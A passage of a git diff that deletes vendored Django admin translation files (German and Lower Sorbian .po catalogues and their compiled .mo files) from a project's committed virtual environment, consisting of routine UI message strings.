ansehen" - -msgid "Close" -msgstr "Schließen" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Ausgewählte %(model)s ändern" - -#, python-format -msgid "Add another %(model)s" -msgstr "%(model)s hinzufügen" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Ausgewählte %(model)s löschen" - -#, python-format -msgid "View selected %(model)s" -msgstr "Ausgewählte %(model)s ansehen" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Vielen Dank, dass Sie heute ein paar nette Minuten auf dieser Webseite " -"verbracht haben." - -msgid "Log in again" -msgstr "Erneut anmelden" - -msgid "Password change" -msgstr "Passwort ändern" - -msgid "Your password was changed." -msgstr "Ihr Passwort wurde geändert." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Aus Sicherheitsgründen bitte zuerst das alte Passwort und darunter dann " -"zweimal das neue Passwort eingeben, um sicherzustellen, dass es es korrekt " -"eingegeben wurde." - -msgid "Change my password" -msgstr "Mein Passwort ändern" - -msgid "Password reset" -msgstr "Passwort zurücksetzen" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Ihr Passwort wurde zurückgesetzt. Sie können sich nun anmelden." - -msgid "Password reset confirmation" -msgstr "Zurücksetzen des Passworts bestätigen" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Bitte geben Sie Ihr neues Passwort zweimal ein, damit wir überprüfen können, " -"ob es richtig eingetippt wurde." - -msgid "New password:" -msgstr "Neues Passwort:" - -msgid "Confirm password:" -msgstr "Passwort wiederholen:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Der Link zum Zurücksetzen Ihres Passworts ist ungültig, wahrscheinlich weil " -"er schon einmal benutzt wurde. Bitte setzen Sie Ihr Passwort erneut zurück." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Wir haben eine E-Mail zum Zurücksetzen des Passwortes an die angegebene E-" -"Mail-Adresse gesendet, sofern ein entsprechendes Konto existiert. Sie sollte " -"in Kürze ankommen." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Falls die E-Mail nicht angekommen sein sollte, bitte die E-Mail-Adresse auf " -"Richtigkeit und gegebenenfalls den Spam-Ordner überprüfen." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Diese E-Mail wurde aufgrund einer Anfrage zum Zurücksetzen des Passworts auf " -"der Website %(site_name)s versendet." - -msgid "Please go to the following page and choose a new password:" -msgstr "Bitte öffnen Sie folgende Seite, um Ihr neues Passwort einzugeben:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Der Benutzername, falls vergessen:" - -msgid "Thanks for using our site!" -msgstr "Vielen Dank, dass Sie unsere Website benutzen!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Das Team von %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Passwort vergessen? Einfach die E-Mail-Adresse unten eingeben und den " -"Anweisungen zum Zurücksetzen des Passworts in der E-Mail folgen." - -msgid "Email address:" -msgstr "E-Mail-Adresse:" - -msgid "Reset my password" -msgstr "Mein Passwort zurücksetzen" - -msgid "Select all objects on this page for an action" -msgstr "Alle Objekte auf dieser Seite für eine Aktion auswählen" - -msgid "All dates" -msgstr "Alle Daten" - -#, python-format -msgid "Select %s" -msgstr "%s auswählen" - -#, python-format -msgid "Select %s to change" -msgstr "%s zur Änderung auswählen" - -#, python-format -msgid "Select %s to view" -msgstr "%s zum Ansehen auswählen" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Zeit:" - -msgid "Lookup" -msgstr "Suchen" - -msgid "Currently:" -msgstr "Aktuell:" - -msgid "Change:" -msgstr "Ändern:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.mo deleted file mode 100644 index c579ef5a..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.po deleted file mode 100644 index 2fe140ff..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/de/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,331 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# André Hagenbruch, 2011-2012 -# Florian Apolloner , 2020-2023 -# Jannis Leidel , 2011,2013-2016,2023 -# jnns, 2016 -# Markus Holtermann , 2020,2023 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Markus Holtermann , 2020,2023\n" -"Language-Team: German (http://app.transifex.com/django/django/language/de/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: de\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Verfügbare %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Dies ist die Liste der verfügbaren %s. Einfach im unten stehenden Feld " -"markieren und mithilfe des „Auswählen“-Pfeils auswählen." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" -"Durch Eingabe in diesem Feld lässt sich die Liste der verfügbaren %s " -"eingrenzen." - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Alle auswählen" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klicken, um alle %s auf einmal auszuwählen." - -msgid "Choose" -msgstr "Auswählen" - -msgid "Remove" -msgstr "Entfernen" - -#, javascript-format -msgid "Chosen %s" -msgstr "Ausgewählte %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Dies ist die Liste der ausgewählten %s. Einfach im unten stehenden Feld " -"markieren und mithilfe des „Entfernen“-Pfeils wieder entfernen." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"In diesem Feld tippen, um die Liste der ausgewählten %s einzuschränken." - -msgid "Remove all" -msgstr "Alle entfernen" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klicken, um alle ausgewählten %s auf einmal zu entfernen." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s ausgewählte Option nicht sichtbar" -msgstr[1] "%s ausgewählte Optionen nicht sichtbar" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s von %(cnt)s ausgewählt" -msgstr[1] "%(sel)s von %(cnt)s ausgewählt" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Sie haben Änderungen an bearbeitbaren Feldern vorgenommen und nicht " -"gespeichert. Wollen Sie die Aktion trotzdem ausführen und Ihre Änderungen " -"verwerfen?" - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Sie haben eine Aktion ausgewählt, aber Ihre vorgenommenen Änderungen nicht " -"gespeichert. Klicken Sie OK, um dennoch zu speichern. Danach müssen Sie die " -"Aktion erneut ausführen." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Sie haben eine Aktion ausgewählt, aber keine Änderungen an bearbeitbaren " -"Feldern vorgenommen. Sie wollten wahrscheinlich auf „Ausführen“ und nicht " -"auf „Speichern“ klicken." - -msgid "Now" -msgstr "Jetzt" - -msgid "Midnight" -msgstr "Mitternacht" - -msgid "6 a.m." -msgstr "6 Uhr" - -msgid "Noon" -msgstr "Mittag" - -msgid "6 p.m." -msgstr "18 Uhr" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Achtung: Sie sind %s Stunde der Serverzeit vorraus." -msgstr[1] "Achtung: Sie sind %s Stunden der Serverzeit vorraus." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Achtung: Sie sind %s Stunde hinter der Serverzeit." -msgstr[1] "Achtung: Sie sind %s Stunden hinter der Serverzeit." - -msgid "Choose a Time" -msgstr "Uhrzeit wählen" - -msgid "Choose a time" -msgstr "Uhrzeit" - -msgid "Cancel" -msgstr "Abbrechen" - -msgid "Today" -msgstr "Heute" - -msgid "Choose a Date" -msgstr "Datum wählen" - -msgid "Yesterday" -msgstr "Gestern" - -msgid "Tomorrow" -msgstr "Morgen" - -msgid "January" -msgstr "Januar" - -msgid "February" -msgstr "Februar" - -msgid "March" -msgstr "März" - -msgid "April" -msgstr "April" - -msgid "May" -msgstr "Mai" - -msgid "June" -msgstr "Juni" - -msgid "July" -msgstr "Juli" - -msgid "August" -msgstr "August" - -msgid "September" -msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Dezember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mrz" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Aug" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dez" - -msgid "Sunday" -msgstr "Sonntag" - -msgid "Monday" -msgstr "Montag" - -msgid "Tuesday" -msgstr "Dienstag" - -msgid "Wednesday" -msgstr "Mittwoch" - -msgid "Thursday" -msgstr "Donnerstag" - -msgid "Friday" -msgstr "Freitag" - -msgid "Saturday" -msgstr "Samstag" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "So" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Mo" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Di" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Mi" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Do" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Fr" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sa" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "So" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Mo" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Di" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Mi" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Do" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Fr" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Sa" - -msgid "Show" -msgstr "Einblenden" - -msgid "Hide" -msgstr "Ausblenden" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.mo deleted file mode 100644 index 77e52e8b..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.po deleted file mode 100644 index 051acd11..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/dsb/LC_MESSAGES/django.po +++ /dev/null @@ -1,795 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016-2025\n" -"Language-Team: Lower Sorbian (http://app.transifex.com/django/django/" -"language/dsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: dsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Wubrane %(verbose_name_plural)s lašowaś" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s su se wulašowali." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s njedajo se lašowaś" - -msgid "Delete multiple objects" -msgstr "Někotare objekty lašowaś" - -msgid "Administration" -msgstr "Administracija" - -msgid "All" -msgstr "Wšykne" - -msgid "Yes" -msgstr "Jo" - -msgid "No" -msgstr "Ně" - -msgid "Unknown" -msgstr "Njeznaty" - -msgid "Any date" -msgstr "Někaki datum" - -msgid "Today" -msgstr "Źinsa" - -msgid "Past 7 days" -msgstr "Zachadne 7 dnjow" - -msgid "This month" -msgstr "Toś ten mjasec" - -msgid "This year" -msgstr "W tom lěśe" - -msgid "No date" -msgstr "Žeden datum" - -msgid "Has date" -msgstr "Ma datum" - -msgid "Empty" -msgstr "Prozny" - -msgid "Not empty" -msgstr "Njeprozny" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Pšosym zapódajśo korektne %(username)s a gronidło za personalne konto. " -"Źiwajśo na to, až wobej póli móžotej mjazy wjeliko- a małopisanim rozeznawaś." - -msgid "Action:" -msgstr "Akcija:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dalšne %(verbose_name)s pśidaś" - -msgid "Remove" -msgstr "Wótpóraś" - -msgid "Addition" -msgstr "Pśidanje" - -msgid "Change" -msgstr "Změniś" - -msgid "Deletion" -msgstr "Wulašowanje" - -msgid "action time" -msgstr "akciski cas" - -msgid "user" -msgstr "wužywaŕ" - -msgid "content type" -msgstr "wopśimjeśowy typ" - -msgid "object id" -msgstr "objektowy id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objektowa reprezentacija" - -msgid "action flag" -msgstr "akciske markěrowanje" - -msgid "change message" -msgstr "změnowa powěźeńka" - -msgid "log entry" -msgstr "protokolowy zapisk" - -msgid "log entries" -msgstr "protokolowe zapiski" - -#, python-format -msgid "Added “%(object)s”." -msgstr "„%(object)s“ pśidane." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "„%(object)s“ změnjone - %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "„%(object)s“ wulašowane." - -msgid "LogEntry Object" -msgstr "Objekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} „{object}“ pśidany." - -msgid "Added." -msgstr "Pśidany." - -msgid "and" -msgstr "a" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} za {name} „{object}“ změnjone." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} změnjone." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Deleted {name} „{object}“ wulašowane." - -msgid "No fields changed." -msgstr "Žedne póla změnjone." - -msgid "None" -msgstr "Žeden" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "´Źaržćo „ctrl“ abo „cmd“ na Mac tłocony, aby wusej jadnogo wubrał." - -msgid "Select this object for an action - {}" -msgstr "Wubjeŕśo toś ten objekt za akciju – {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} „{obj}“ jo se wuspěšnje pśidał." - -msgid "You may edit it again below." -msgstr "Móźośo dołojce znowego wobźěłaś." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} „{obj}“ jo se wuspěšnje pśidał. Móžośo dołojce dalšne {name} pśidaś." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} „{obj}“ jo se wuspěšnje změnił. Móžośo jen dołojce znowego wobźěłowaś." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} „{obj}“ jo se wuspěšnje změnił. Móžośo dołojce dalšne {name} pśidaś." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} „{obj}“ jo se wuspěšnje změnił." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Zapiski muse se wubraś, aby akcije na nje nałožowało. Zapiski njejsu se " -"změnili." - -msgid "No action selected." -msgstr "Žedna akcija wubrana." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s „%(obj)s“ jo se wuspěšnje wulašował." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s z ID „%(key)s“ njeeksistěrujo. Jo se snaź wulašowało?" - -#, python-format -msgid "Add %s" -msgstr "%s pśidaś" - -#, python-format -msgid "Change %s" -msgstr "%s změniś" - -#, python-format -msgid "View %s" -msgstr "%s pokazaś" - -msgid "Database error" -msgstr "Zmólka datoweje banki" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s jo se wuspěšnje změnił." -msgstr[1] "%(count)s %(name)s stej se wuspěšnje změniłej." -msgstr[2] "%(count)s %(name)s su se wuspěšnje změnili." -msgstr[3] "%(count)s %(name)s jo se wuspěšnje změniło." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s wubrany" -msgstr[1] "Wšykne %(total_count)s wubranej" -msgstr[2] "Wšykne %(total_count)s wubrane" -msgstr[3] "Wšykne %(total_count)s wubranych" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 z %(cnt)s wubranych" - -msgid "Delete" -msgstr "Lašowaś" - -#, python-format -msgid "Change history: %s" -msgstr "Změnowa historija: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Aby se %(class_name)s %(instance)s lašowało, muse se slědujuce šćitane " -"objekty lašowaś: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administrator sedła Django" - -msgid "Django administration" -msgstr "Administracija Django" - -msgid "Site administration" -msgstr "Sedłowa administracija" - -msgid "Log in" -msgstr "Pśizjawiś" - -#, python-format -msgid "%(app)s administration" -msgstr "Administracija %(app)s" - -msgid "Page not found" -msgstr "Bok njejo se namakał" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Jo nam luto, ale pominany bok njedajo se namakaś." - -msgid "Home" -msgstr "Startowy bok" - -msgid "Server error" -msgstr "Serwerowa zmólka" - -msgid "Server error (500)" -msgstr "Serwerowa zmólka (500)" - -msgid "Server Error (500)" -msgstr "Serwerowa zmólka (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Zmólka jo nastała. Jo se sedłowym administratoram pśez e-mail k wěsći dała a " -"by dejała se skóro wótpóraś. Źěkujom se za wašu sćerpmosć." - -msgid "Run the selected action" -msgstr "Wubranu akciju wuwjasć" - -msgid "Go" -msgstr "Start" - -msgid "Click here to select the objects across all pages" -msgstr "Klikniśo how, aby objekty wšych bokow wubrał" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Wubjeŕśo wšykne %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Wuběrk lašowaś" - -msgid "Breadcrumbs" -msgstr "Klěbowe srjodki" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modele w nałoženju %(name)s" - -msgid "Model name" -msgstr "Modelowe mě" - -msgid "Add link" -msgstr "Wótkaz pśidaś" - -msgid "Change or view list link" -msgstr "Lisćinowy wótkaz změniś abo pokazaś" - -msgid "Add" -msgstr "Pśidaś" - -msgid "View" -msgstr "Pokazaś" - -msgid "You don’t have permission to view or edit anything." -msgstr "Njamaśo pšawo něco pokazaś abo wobźěłaś" - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Gaž sćo wužywarja napórał, móžośo dalšne wužywaŕske nastajenja wobźěłaś." - -msgid "Error:" -msgstr "Zmólka:" - -msgid "Change password" -msgstr "Gronidło změniś" - -msgid "Set password" -msgstr "Gronidło póstajiś" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Pšosym korigěrujśo slědujucu zmólku." -msgstr[1] "Pšosym korigěrujśo slědujucej zmólce." -msgstr[2] "Pšosym korigěrujśo slědujuce zmólki." -msgstr[3] "Pšosym korigěrujśo slědujuce zmólki." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Zapódajśo nowe gronidło za wužywarja %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Toś ta akcija awtentifikaciju na zakłaźe gronidła za toś togo wužywarja " -" zmóžnijo ." - -msgid "Disable password-based authentication" -msgstr "Awtentifikaciju na zakłaźe gronidła znjemóžniś" - -msgid "Enable password-based authentication" -msgstr "Awtentifikaciju na zakłaźe gronidła zmóžniś" - -msgid "Skip to main content" -msgstr "Dalej ku głownemu wopśimjeśeju" - -msgid "Welcome," -msgstr "Witajśo," - -msgid "View site" -msgstr "Sedło pokazaś" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Wótzjawiś" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s pśidaś" - -msgid "History" -msgstr "Historija" - -msgid "View on site" -msgstr "Na sedle pokazaś" - -msgid "Filter" -msgstr "Filtrowaś" - -msgid "Hide counts" -msgstr "Licby schowaś" - -msgid "Show counts" -msgstr "Licby pokazaś" - -msgid "Clear all filters" -msgstr "Wšykne filtry lašowaś" - -msgid "Remove from sorting" -msgstr "Ze sortěrowanja wótpóraś" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Sortěrowański rěd: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Sortěrowanje pśešaltowaś" - -msgid "Toggle theme (current theme: auto)" -msgstr "Drastwu změniś (auto)" - -msgid "Toggle theme (current theme: light)" -msgstr "Drastwu změniś (swětły)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Drastwu změniś (śamny)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Gaž se %(object_name)s '%(escaped_object)s' lašujo, se pśisłušne objekty " -"wulašuju, ale wašo konto njama pšawo slědujuce typy objektow lašowaś: " - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Aby se %(object_name)s '%(escaped_object)s' lašujo, muse se slědujuce " -"šćitane pśisłušne objekty lašowaś:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Cośo napšawdu %(object_name)s „%(escaped_object)s“ lašowaś? Wšykne slědujuce " -"pśisłušne zapiski se wulašuju: " - -msgid "Objects" -msgstr "Objekty" - -msgid "Yes, I’m sure" -msgstr "Jo, som se wěsty" - -msgid "No, take me back" -msgstr "Ně, pšosym slědk" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Gaž lašujośo wubrany %(objects_name)s, se pśisłušne objekty wulašuju, ale " -"wašo konto njama pšawo slědujuce typy objektow lašowaś: " - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Aby wubrany %(objects_name)s lašowało, muse se slědujuce šćitane pśisłušne " -"objekty lašowaś:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Cośo napšawdu wubrany %(objects_name)s lašowaś? Wšykne slědujuce objekty a " -"jich pśisłušne zapiski se wulašuju:" - -msgid "Delete?" -msgstr "Lašowaś?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Pó %(filter_title)s " - -msgid "Summary" -msgstr "Zespominanje" - -msgid "Recent actions" -msgstr "Nejnowše akcije" - -msgid "My actions" -msgstr "Móje akcije" - -msgid "None available" -msgstr "Žeden k dispoziciji" - -msgid "Added:" -msgstr "Pśidany:" - -msgid "Changed:" -msgstr "Změnjony:" - -msgid "Deleted:" -msgstr "Wulašowany:" - -msgid "Unknown content" -msgstr "Njeznate wopśimjeśe" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Něco jo z wašeju instalaciju datoweje banki kśiwje šło. Pśeznańśo se, až " -"wótpowědne tabele datoweje banki su se napórali a pótom, až datowa banka " -"dajo se wót wótpówědnego wužywarja cytaś." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Sćo ako %(username)s awtentificěrowany, ale njamaśo pśistup na toś ten bok. " -"Cośo se pla drugego konta pśizjawiś?" - -msgid "Forgotten your login credentials?" -msgstr "Sćo swóje pśizjawjeńske daty zabył?" - -msgid "Toggle navigation" -msgstr "Nawigaciju pśešaltowaś" - -msgid "Sidebar" -msgstr "Bocnica" - -msgid "Start typing to filter…" -msgstr "Pišćo, aby filtrował …" - -msgid "Filter navigation items" -msgstr "Nawigaciske zapiski filtrowaś" - -msgid "Date/time" -msgstr "Datum/cas" - -msgid "User" -msgstr "Wužywaŕ" - -msgid "Action" -msgstr "Akcija" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "zapisk" -msgstr[1] "zapiska" -msgstr[2] "zapiski" -msgstr[3] "zapiskow" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Toś ten objekt njama změnowu historiju. Jo se nejskerjej pśez toś to " -"administratorowe sedło pśidał." - -msgid "Show all" -msgstr "Wšykne pokazaś" - -msgid "Save" -msgstr "Składowaś" - -msgid "Popup closing…" -msgstr "Wuskokujuce wokno se zacynja…" - -msgid "Search" -msgstr "Pytaś" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s wuslědk" -msgstr[1] "%(counter)s wuslědka" -msgstr[2] "%(counter)s wuslědki" -msgstr[3] "%(counter)s wuslědkow" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s dogromady" - -msgid "Save as new" -msgstr "Ako nowy składowaś" - -msgid "Save and add another" -msgstr "Składowaś a dalšny pśidaś" - -msgid "Save and continue editing" -msgstr "Składowaś a dalej wobźěłowaś" - -msgid "Save and view" -msgstr "Składowaś a pokazaś" - -msgid "Close" -msgstr "Zacyniś" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Wubrane %(model)s změniś" - -#, python-format -msgid "Add another %(model)s" -msgstr "Dalšny %(model)s pśidaś" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Wubrane %(model)s lašowaś" - -#, python-format -msgid "View selected %(model)s" -msgstr "Wubrany %(model)s pokazaś" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" -"Wjeliki źěk, až sćo sebje brał źinsa cas za pśeglědowanje kwality websedła." - -msgid "Log in again" -msgstr "Hyšći raz pśizjawiś" - -msgid "Password change" -msgstr "Gronidło změniś" - -msgid "Your password was changed." -msgstr "Wašo gronidło jo se změniło." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Pšosym zapódajśo k swójej wěstośe swójo stare gronidło a pótom swójo nowe " -"gronidło dwójcy, aby my mógli pśeglědowaś, lěc sćo jo korektnje zapisał." - -msgid "Change my password" -msgstr "Mójo gronidło změniś" - -msgid "Password reset" -msgstr "Gronidło jo se slědk stajiło" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Wašo gronidło jo se póstajiło. Móžośo pókšacowaś a se něnto pśizjawiś." - -msgid "Password reset confirmation" -msgstr "Wobkšuśenje slědkstajenja gronidła" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Pšosym zapódajśo swójo nowe gronidło dwójcy, aby my 